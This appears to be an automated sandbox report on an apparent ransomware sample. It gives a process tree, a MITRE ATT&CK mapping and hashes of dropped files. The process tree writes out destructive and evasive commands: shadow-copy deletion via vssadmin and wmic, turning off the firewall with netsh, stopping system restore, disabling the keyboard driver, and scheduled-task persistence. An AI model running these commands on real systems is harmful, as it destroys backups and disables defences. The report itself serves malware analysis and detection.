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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:1548
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvd.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:692
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5588 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5712
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1548
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5116
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6116 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:3600
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5456 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1680
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3100 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:1276
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:932
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1532
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvd.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2324
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2508
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:6140
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1140
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3264
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:3084 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:2608
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2016
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:1720
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:3832
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a25055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5676
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:1368
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C:\Users\Admin\AppData\Local\Temp\xoilactvd.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\xoilactvd.io_hyber.exe1⤵PID:2536
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:5904
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 c062bed17fdacf84e0f38cfc50e43fd3ac20dc514f1daea2b30393ba85e8eed1
- MD5 d266c048223abe552ef0e82a1c398cf8
- SHA1 78b22b1630e5a2c14a72532b1d6d952f95bb9bc3
- SHA512 3b8255add5f2107f2ad2127b0bfc5e4aaa595fc23a2ff05bd5b01dd27e3635e497b9566787e26923f8e6bb5206cebbb49d369a0eb758d26cb4287fa6c1f58bce
- SSDEEP 1536:52Rveo0zwn1+7cRMa3EJd7OrjWjow9ZWojXQQdGU4I13VxStse8EE:5gvQzwnA81Erm+nlXQQoRIJVxStse8EE
- TLSH T1236329334B23FDC5577F3D80F1942E420C883A6787B5666CFBC90A6938A5688DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 f5695cbe94b941bbdab45fc9e6b0a1031bb7685bbd06caeb0d33cc89cf749004
- MD5 e20b1afa27c8124e80e00203ec51ecf7
- SHA1 20beb6ec2514f1b67a923a1475f5635430df1c88
- SHA512 973e9e4d87cb12cbee19c8729c305485406b77bfe82a7a8957100b9c1879865e56d12df888394e07c0ea6a9573e7c0f03885cc394bdf71d940402b370113b21b
- SSDEEP 1536:Z2Rveo0zwn1+7cRMa3EJd7OrjWjow9ZWojXQQdGU4I13VxStse8EH:ZgvQzwnA81Erm+nlXQQoRIJVxStse8EH
- TLSH T1B86329334B23FDC5577F3D80F0A42E520C883A6B8775666CFBC90A6939A5284DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 243B
- SHA256 9353d44d17e0047527e79616804bd5632e138416c14bbcd860793878d740321f
- MD5 ee5a340c273b35524cd28467e452b844
- SHA1 ab0971adbb2ab69fc7e96529191c8e359618d8a1
- SHA512 cb0e1632f205373e2c0432d57952045fab38921a9ff374df471558d556035f006ecc0e3deb2dd3ff0b6768d28487bbda14de255b71ebc67f79a0d2cfcf322e36
- TLSH T126D0A79BF24DC6B90001127B81F3CE8CE5A548693B1BBEB44AE5DD4E32908C58DF6583
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 244B
- SHA256 4b5b33423ffc5ff90fe1abdfeddc58e83581c6d76dc363d40880a078d63d100a
- MD5 69ac1fa6612a3bb5e862b769bde771aa
- SHA1 314c438311207d29f01d8b0919f58243ae3a68bf
- SHA512 e3a0990ad69384ec3b56a170fd2ccb14e47ecc2c41eab339878d6d302658f44b0e8e863e05150f6922c09a5d2928b63365000082763dd4df2a8ca772c7b6171e
- TLSH T161D0A597F14DC5750001127B40F3CD4CD5D148593B177E745595DD0E32904854DF5583
- MD5 SHA1 SHA512 TLSH